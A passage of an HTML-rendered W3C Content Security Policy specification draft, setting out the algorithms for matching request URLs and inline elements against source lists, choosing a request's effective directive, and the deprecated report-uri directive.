the result of executing <a href=\"#match-element-to-source-list\">§6.1.12.1 Does element match source list?</a> on <var>element</var>, this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a>, and <var>type</var> is \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-initialization\">initialization</a> algorithm is as follows:</p>\n    <p class=\"issue\" id=\"issue-eba1ebc1\"><a class=\"self-link\" href=\"#issue-eba1ebc1\"></a> Do something interesting to the execution context in order to lock down\n  interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so\n  let’s work with them to put something reasonable together.</p>\n    <h4 class=\"heading settled\" data-level=\"6.1.11\" id=\"fetch-directive-matching-url\"><span class=\"secno\">6.1.11. </span><span class=\"content\">URL Matching Algorithms</span><a class=\"self-link\" href=\"#fetch-directive-matching-url\"></a></h4>\n    <h5 class=\"heading settled\" data-algorithm=\"Does request violate policy?\" data-level=\"6.1.11.1\" id=\"does-request-violate-policy\"><span class=\"secno\">6.1.11.1. </span><span class=\"content\"> Does <var>request</var> violate <var>policy</var>? </span><a class=\"self-link\" href=\"#does-request-violate-policy\"></a></h5>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>), this\n  algorithm returns the violated <a data-link-type=\"dfn\" href=\"#directives\">directive</a> if the request violates the\n  policy, and \"<code>Does Not Violate</code>\" otherwise.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>violates</var> be \"<code>Does Not Violate</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>directive</var> in <var>policy</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>result</var> be the result of executing <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a> on <var>request</var> and <var>policy</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>result</var> is \"<code>Blocked</code>\", then let <var>violates</var> be <var>directive</var>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>violates</var>.</p>\n    </ol>\n    <h5 class=\"heading settled\" data-algorithm=\"Does url match source list?\" data-level=\"6.1.11.2\" id=\"match-url-to-source-list\"><span class=\"secno\">6.1.11.2. </span><span class=\"content\"> Does <var>url</var> match <var>source list</var>? </span><a class=\"self-link\" href=\"#match-url-to-source-list\"></a></h5>\n    <p>Given a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\">URL</a></code> (<var>url</var>), and a <a data-link-type=\"dfn\" href=\"#source-lists\">source list</a> (<var>source list</var>), this\n  algorithm returns \"<code>Matches</code>\" if the URL matches one or more source\n  expressions in <var>source list</var>, or \"<code>Does Not Match</code>\" otherwise:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>source list</var> is <code>null</code>, return \"<code>Matches</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>source list</var> contains a single item which is a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#case-sensitive\">case-sensitive</a> match for the string \"<code>'none'</code>\", return \"<code>Does Not Match</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>expression</var> in <var>source list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <a href=\"#match-url-to-source-expression\">§6.1.11.3 Does url match expression in origin with redirect count?</a> returns \"<code>Matches</code>\" when\n  executed upon <var>url</var> and <var>expression</var>, return \"<code>Matches</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Does Not Match</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled\" data-algorithm=\"Does url match expression in origin with redirect count?\" data-level=\"6.1.11.3\" id=\"match-url-to-source-expression\"><span class=\"secno\">6.1.11.3. </span><span class=\"content\"> Does <var>url</var> match <var>expression</var> in <var>origin</var> with <var>redirect count</var>? </span><a class=\"self-link\" href=\"#match-url-to-source-expression\"></a></h5>\n    <p>Given a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\">URL</a></code> (<var>url</var>), a <a data-link-type=\"dfn\" href=\"#source-expression\">source expression</a> (<var>expression</var>), an <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">origin</a> (<var>origin</var>), and a number (<var>redirect count</var>), this algorithm\n  returns \"<code>Matches</code>\" if <var>url</var> matches <var>expression</var>, and \"<code>Does Not Match</code>\"\n  otherwise.</p>\n    <p class=\"note\" role=\"note\">Note: <var>origin</var> is the <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">origin</a> of the resource relative to which the <var>expression</var> should be resolved. \"<code>'self'</code>\", for instance, will have distinct\n  meaning depending on that bit of context.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>expression</var> is the string \"*\", and <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> is not a <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#local-scheme\">local scheme</a>, return \"<code>Matches</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-scheme-source\"><code>scheme-source</code></a> or <a data-link-type=\"grammar\" href=\"#grammardef-host-source\"><code>host-source</code></a> grammar:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>expression</var> has a <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\"><code>scheme-part</code></a> that is not an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a> for <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code>, then\n  return \"<code>Does Not Match</code>\" unless one of the following conditions is\n  met:</p>\n        <ol>\n         <li data-md=\"\">\n          <p><var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\"><code>scheme-part</code></a> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII\n  case-insensitive match</a> for \"<code>http</code>\" and <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> is \"<code>https</code>\"</p>\n         <li data-md=\"\">\n          <p><var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\"><code>scheme-part</code></a> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII\n  case-insensitive match</a> for \"<code>ws</code>\" and <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> is \"<code>wss</code>\"</p>\n        </ol>\n       <li data-md=\"\">\n        <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-scheme-source\"><code>scheme-source</code></a> grammar,\n  return \"<code>Matches</code>\".</p>\n      </ol>\n      <p class=\"note\" role=\"note\">Note: This logic effectively means that <code>script-src http:</code> is\n  equivalent to <code>script-src http: https:</code>, and <code>script-src http://example.com/</code> is equivalent to <code>script-src http://example.com https://example.com</code>. In short, we always allow a\n  secure upgrade from an explicitly insecure expression.</p>\n     <li data-md=\"\">\n      <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-host-source\"><code>host-source</code></a> grammar:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-host\">host</a></code> is <code>null</code>, return \"<code>Does Not Match</code>\".</p>\n       <li data-md=\"\">\n        <p>If <var>expression</var> does not have a <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\"><code>scheme-part</code></a>, then\n  return \"<code>Does Not Match</code>\" unless one of the following conditions is\n  met:</p>\n        <ol>\n         <li data-md=\"\">\n          <p><var>origin</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> is <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code></p>\n         <li data-md=\"\">\n          <p><var>origin</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> is \"<code>http</code>\", and <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> one of \"<code>https</code>\", \"<code>ws</code>\", or \"<code>wss</code>\".</p>\n         <li data-md=\"\">\n          <p><var>origin</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> is \"<code>https</code>\", and <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> is \"<code>wss</code>\".</p>\n        </ol>\n        <p class=\"note\" role=\"note\">Note: As with <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\"><code>scheme-part</code></a> above, we allow schemeless <a data-link-type=\"grammar\" href=\"#grammardef-host-source\"><code>host-source</code></a> expressions to be upgraded from insecure\n  schemes to secure schemes.</p>\n       <li data-md=\"\">\n        <p>If the first character of <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-host-part\"><code>host-part</code></a> is an U+002A ASTERISK character (<code>*</code>):</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Let <var>remaining</var> be the result of removing the leading \"<code>*</code>\" from <var>expression</var>.</p>\n         <li data-md=\"\">\n          <p>If <var>remaining</var> (including the leading U+002E FULL STOP character\n  (<code>.</code>)) is not an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a> for the\n  rightmost characters of <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-host\">host</a></code>, then return \"<code>Does Not Match</code>\".</p>\n        </ol>\n       <li data-md=\"\">\n        <p>If the first character of <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-host-part\"><code>host-part</code></a> is not an U+002A ASTERISK character (<code>*</code>), and <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-host\">host</a></code> is not an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a> for <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-host-part\"><code>host-part</code></a>, return \"<code>Does Not Match</code>\".</p>\n       <li data-md=\"\">\n        <p>If <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-host-part\"><code>host-part</code></a> matches the <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-3.2.2\">IPv4address</a> rule from <a data-link-type=\"biblio\" href=\"#biblio-rfc3986\">[RFC3986]</a>, and is not\n  \"<code>127.0.0.1</code>\"; or if <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-host-part\"><code>host-part</code></a> is an <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-ipv6\">IPv6 address</a>, return \"<code>Does Not Match</code>\".</p>\n        <p class=\"note\" role=\"note\">Note: A future version of this specification may allow literal IPv6\n  and IPv4 addresses, depending on usage and demand. Given the weak\n  security properties of IP addresses in relation to named hosts,\n  however, authors are encouraged to prefer the latter whenever\n  possible.</p>\n       <li data-md=\"\">\n        <p>If <var>expression</var> does not contain a <a data-link-type=\"grammar\" href=\"#grammardef-port-part\"><code>port-part</code></a>, and <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-port\">port</a></code> is not the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#default-port\">default port</a> for <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code>, return \"<code>Does Not Match</code>\".</p>\n       <li data-md=\"\">\n        <p>If <var>expression</var> does contain a <a data-link-type=\"grammar\" href=\"#grammardef-port-part\"><code>port-part</code></a>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-port-part\"><code>port-part</code></a> is not \"<code>*</code>\", and\n  is not the same number as <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-port\">port</a></code>, return \"<code>Does Not Match</code>\".</p>\n        </ol>\n       <li data-md=\"\">\n        <p>If <var>expression</var> contains a non-empty <a data-link-type=\"grammar\" href=\"#grammardef-path-part\"><code>path-part</code></a>, and <var>redirect count</var> is 0, then:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Let <var>exact match</var> be <code>false</code> if the final character of <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-path-part\"><code>path-part</code></a> is the U+002F SOLIDUS\n  character (<code>/</code>), and <code>true</code> otherwise.</p>\n         <li data-md=\"\">\n          <p>Let <var>path list</var> be the result of <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strictly-split-a-string\">strictly splitting</a> <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-path-part\"><code>path-part</code></a> on the U+002F SOLIDUS\n  character (<code>/</code>).</p>\n         <li data-md=\"\">\n          <p>If <var>path list</var> has more items than <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-path\">path</a></code>, return\n  \"<code>Does Not Match</code>\".</p>\n         <li data-md=\"\">\n          <p>If <var>exact match</var> is <code>true</code>, and <var>path list</var> does not have the same\n  number of items as <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-path\">path</a></code>, return \"<code>Does Not Match</code>\".</p>\n         <li data-md=\"\">\n          <p>For each <var>expression piece</var> in <var>path list</var>:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Let <var>url piece</var> be the next item in <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-path\">path</a></code>.</p>\n           <li data-md=\"\">\n            <p><a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#percent-decode\">Percent decode</a> <var>expression piece</var>.</p>\n           <li data-md=\"\">\n            <p><a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#percent-decode\">Percent decode</a> <var>url piece</var>.</p>\n           <li data-md=\"\">\n            <p>If <var>expression piece</var> is not an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n  match</a> for <var>url piece</var>, return \"<code>Does Not Match</code>\".</p>\n          </ol>\n        </ol>\n       <li data-md=\"\">\n        <p>Return \"<code>Matches</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>expression</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a> for \"<code>'self'</code>\",\n  return \"<code>Matches</code>\" if one or more of the following conditions is met:</p>\n      <ol>\n       <li data-md=\"\">\n        <p><var>origin</var> is the same as <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-origin\">origin</a></code></p>\n       <li data-md=\"\">\n        <p><var>origin</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-host\">host</a></code> is the same as <var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-host\">host</a></code>, <var>origin</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-port\">port</a></code> and <var>url</var>’s {{URL/port} are either the same\n  or the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#default-port\">default ports</a> for their respective <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code>s, and\n  one or more of the following conditions is met:</p>\n        <ol>\n         <li data-md=\"\">\n          <p><var>url</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> is \"<code>https</code>\" or \"<code>wss</code>\"</p>\n         <li data-md=\"\">\n          <p><var>origin</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a></code> is \"<code>http</code>\"</p>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\">Note: Like the <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\"><code>scheme-part</code></a> logic above, the \"<code>'self'</code>\"\n  matching algorithm allows upgrades to secure schemes when it is safe to do\n  so. We limit these upgrades to endpoints running on the default port for a\n  particular scheme or a port that matches the origin of the protected\n  resource, as this seems sufficient to deal with upgrades that can be\n  reasonably expected to succeed.</p>\n     <li data-md=\"\">\n      <p>Return \"<code>Does Not Match</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled\" data-algorithm=\"Get the effective directive for request\" data-level=\"6.1.11.4\" id=\"effective-directive-for-a-request\"><span class=\"secno\">6.1.11.4. </span><span class=\"content\"> Get the effective directive for <var>request</var> </span><a class=\"self-link\" href=\"#effective-directive-for-a-request\"></a></h5>\n    <p>Each <a data-link-type=\"dfn\" href=\"#fetch-directives\">fetch directive</a> controls a specific type of <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a>. Given\n  a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), the following algorithm returns either <code>null</code> or the <a data-link-type=\"dfn\" href=\"#directive-name\">name</a> of the request’s <dfn data-dfn-for=\"request\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"request-effective-directive\">effective directive<a class=\"self-link\" href=\"#request-effective-directive\"></a></dfn>:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Switch on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a>, and execute\n  the associated steps:</p>\n      <dl>\n       <dt data-md=\"\">\n        <p>\"\"</p>\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>If the <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\">initiator</a> is\n  \"<code>fetch</code>\", return <code>connect-src</code>.</p>\n         <li data-md=\"\">\n          <p>If the <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\">initiator</a> is\n  \"<code>manifest</code>\", return <code>manifest-src</code>.</p>\n         <li data-md=\"\">\n          <p>If the <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a> is\n  \"<code>subresource</code>\", return <code>connect-src</code>.</p>\n         <li data-md=\"\">\n          <p>If the <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a> is\n  \"<code>unknown</code>\", return <code>object-src</code>.</p>\n         <li data-md=\"\">\n          <p>If the <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a> is\n  \"<code>document</code>\" <em>and</em> the <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-target-browsing-context\">target browsing context</a> is a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing\n  context</a>, return <code>child-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\n        <p>\"<code>audio</code>\"</p>\n       <dt data-md=\"\">\n        <p>\"<code>track</code>\"</p>\n       <dt data-md=\"\">\n        <p>\"<code>video</code>\"</p>\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>media-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\n        <p>\"<code>font</code>\"</p>\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>font-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\n        <p>\"<code>image</code>\"</p>\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>image-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\n        <p>\"<code>style</code>\"</p>\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Return <code>style-src</code>.</p>\n        </ol>\n       <dt data-md=\"\">\n        <p>\"<code>script</code>\"</p>\n       <dd data-md=\"\">\n        <ol>\n         <li data-md=\"\">\n          <p>Switch on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a>, and\n  execute the associated steps:</p>\n          <dl>\n           <dt data-md=\"\">\n            <p>\"<code>subresource</code>\"</p>\n           <dd data-md=\"\">\n            <ol>\n             <li data-md=\"\">\n              <p>Return <code>script-src</code>.</p>\n            </ol>\n           <dt data-md=\"\">\n            <p>\"<code>serviceworker</code>\"</p>\n           <dt data-md=\"\">\n            <p>\"<code>sharedworker</code>\"</p>\n           <dt data-md=\"\">\n            <p>\"<code>worker</code>\"</p>\n           <dd data-md=\"\">\n            <ol>\n             <li data-md=\"\">\n              <p>Return <code>child-src</code>.</p>\n            </ol>\n          </dl>\n        </ol>\n      </dl>\n     <li data-md=\"\">\n      <p>Return <code>null</code>.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.12\" id=\"fetch-directive-matching-element\"><span class=\"secno\">6.1.12. </span><span class=\"content\">Element Matching Algorithms</span><a class=\"self-link\" href=\"#fetch-directive-matching-element\"></a></h4>\n    <h5 algorthm=\"\" class=\"heading settled\" data-level=\"6.1.12.1\" id=\"match-element-to-source-list\"><span class=\"secno\">6.1.12.1. </span><span class=\"content\"> Does <var>element</var> match source <var>list</var>? </span><a class=\"self-link\" href=\"#match-element-to-source-list\"></a></h5>\n    <p>Given an <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-element\">Element</a></code> (<var>element</var>), a <a data-link-type=\"dfn\" href=\"#source-lists\">source list</a> (<var>list</var>), and a string\n  (<var>type</var>), this algorithm returns \"<code>Matches</code>\" or \"<code>Does Not Match</code>\".</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>contains nonce or hash</var> be <code>false</code>.</p>\n     <li data-md=\"\">\n      <p>For each <var>expression</var> in <var>list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\"><code>nonce-source</code></a> or <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\"><code>hash-source</code></a> grammar, set <var>contains nonce or hash</var> to <code>true</code>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>contains nonce or hash</var> is <code>false</code>, and <var>list</var> contains a <a data-link-type=\"dfn\" href=\"#source-expression\">source expression</a> which is a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#case-sensitive\">case-sensitive</a> match for\n  the string \"<code>unsafe-inline</code>\", then return \"<code>Matches</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>type</var> is not \"<code>script attribute</code>\" or \"<code>style attribute</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>content</var> be <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-block&apos;s-source\">the script block’s source</a> if <var>element</var> is a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element, or the value of <var>element</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#dom-node-textcontent\">textContent</a></code> IDL attribute for any other element.</p>\n       <li data-md=\"\">\n        <p>For each <var>expression</var> in <var>list</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\"><code>nonce-source</code></a> grammar,\n  and <var>element</var> has a <code><a data-link-type=\"element-attr\" href=\"https://html.spec.whatwg.org/#attr-script-nonce\">nonce</a></code> attribute whose value is a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#case-sensitive\">case-sensitive</a> match for <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\"><code>base64-value</code></a> part, return \"<code>Matches</code>\".</p>\n         <li data-md=\"\">\n          <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\"><code>hash-source</code></a> grammar:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Let <var>algorithm</var> be <code>null</code>.</p>\n           <li data-md=\"\">\n            <p>If <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-hash-algorithm\"><code>hash-algorithm</code></a> part is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a> for \"sha256\", set <var>algorithm</var> to <a data-link-type=\"dfn\" href=\"http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf#\">SHA-256</a>.</p>\n           <li data-md=\"\">\n            <p>If <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-hash-algorithm\"><code>hash-algorithm</code></a> part is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a> for \"sha384\", set <var>algorithm</var> to <a data-link-type=\"dfn\" href=\"http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf#\">SHA-384</a>.</p>\n           <li data-md=\"\">\n            <p>If <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-hash-algorithm\"><code>hash-algorithm</code></a> part is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a> for \"sha512\", set <var>algorithm</var> to <a data-link-type=\"dfn\" href=\"http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf#\">SHA-512</a>.</p>\n           <li data-md=\"\">\n            <p>If <var>algorithm</var> is not <code>null</code>:</p>\n            <ol>\n             <li data-md=\"\">\n              <p>Let <var>actual</var> be the result of <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc4648#section-4\">base64 encoding</a> the\n  result of applying <var>algorithm</var> to <var>content</var>.</p>\n             <li data-md=\"\">\n              <p>If <var>actual</var> is a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#case-sensitive\">case-sensitive</a> match for <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\"><code>base64-value</code></a> part, return\n  \"<code>Matches</code>\".</p>\n            </ol>\n          </ol>\n        </ol>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Does Not Match</code>\".</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"6.2\" id=\"directives-reporting\"><span class=\"secno\">6.2. </span><span class=\"content\"> Reporting Directives </span><a class=\"self-link\" href=\"#directives-reporting\"></a></h3>\n    <p>Various algorithms in this document hook into the reporting process by\n  constructing a <a data-link-type=\"dfn\" href=\"#violation\">violation</a> object via <a href=\"#create-violation-for-request\">§2.3.2 Create a violation object for request, policy, and directive</a> or <a href=\"#create-violation-for-global\">§2.3.1 Create a violation object for global, policy, and directive</a>, and passing that object to <a href=\"#report-violation\">§5.3 Report a violation</a> to deliver the report.</p>\n    <h4 class=\"heading settled\" data-level=\"6.2.1\" id=\"directive-report-uri\"><span class=\"secno\">6.2.1. </span><span class=\"content\"><code>report-uri</code></span><a class=\"self-link\" href=\"#directive-report-uri\"></a></h4>\n    <div class=\"note\" role=\"note\">\n      Note: The <a data-link-type=\"dfn\" href=\"#report-uri\"><code>report-uri</code></a> directive is deprecated. Please use the <a data-link-type=\"dfn\" href=\"#report-to\"><code>report-to</code></a> directive instead. If the latter directive is present,\n    this directive will be ignored. To ensure backwards compatibility, we\n    suggest specifying both, like this: \n     <div class=\"example\" id=\"example-9d2ef57e\">\n      <a class=\"self-link\" href=\"#example-9d2ef57e\"></a> \n<pre><a data-link-type=\"dfn\" href=\"#content-security-policy\">Content-Security-Policy</a>: ...; <a data-link-type=\"dfn\" href=\"#report-uri\">report-uri</a> https://endpoint.com; <a data-link-type=\"dfn\" href=\"#report-to\">report-to</a> groupname\n</pre>\n     </div>\n    </div>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"report-uri\"><code>report-uri</code><a class=\"self-link\" href=\"#report-uri\"></a></dfn> directive defines a set of endpoints to which <a data-link-type=\"dfn\" href=\"#violation-report\">violation reports</a> will be sent when particular behaviors are prevented.</p>\n<pre>directive-name  = \"report-uri\"\ndirective-value = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-4.1\">uri-reference</a> *( <a data-link-type=\"grammar\" 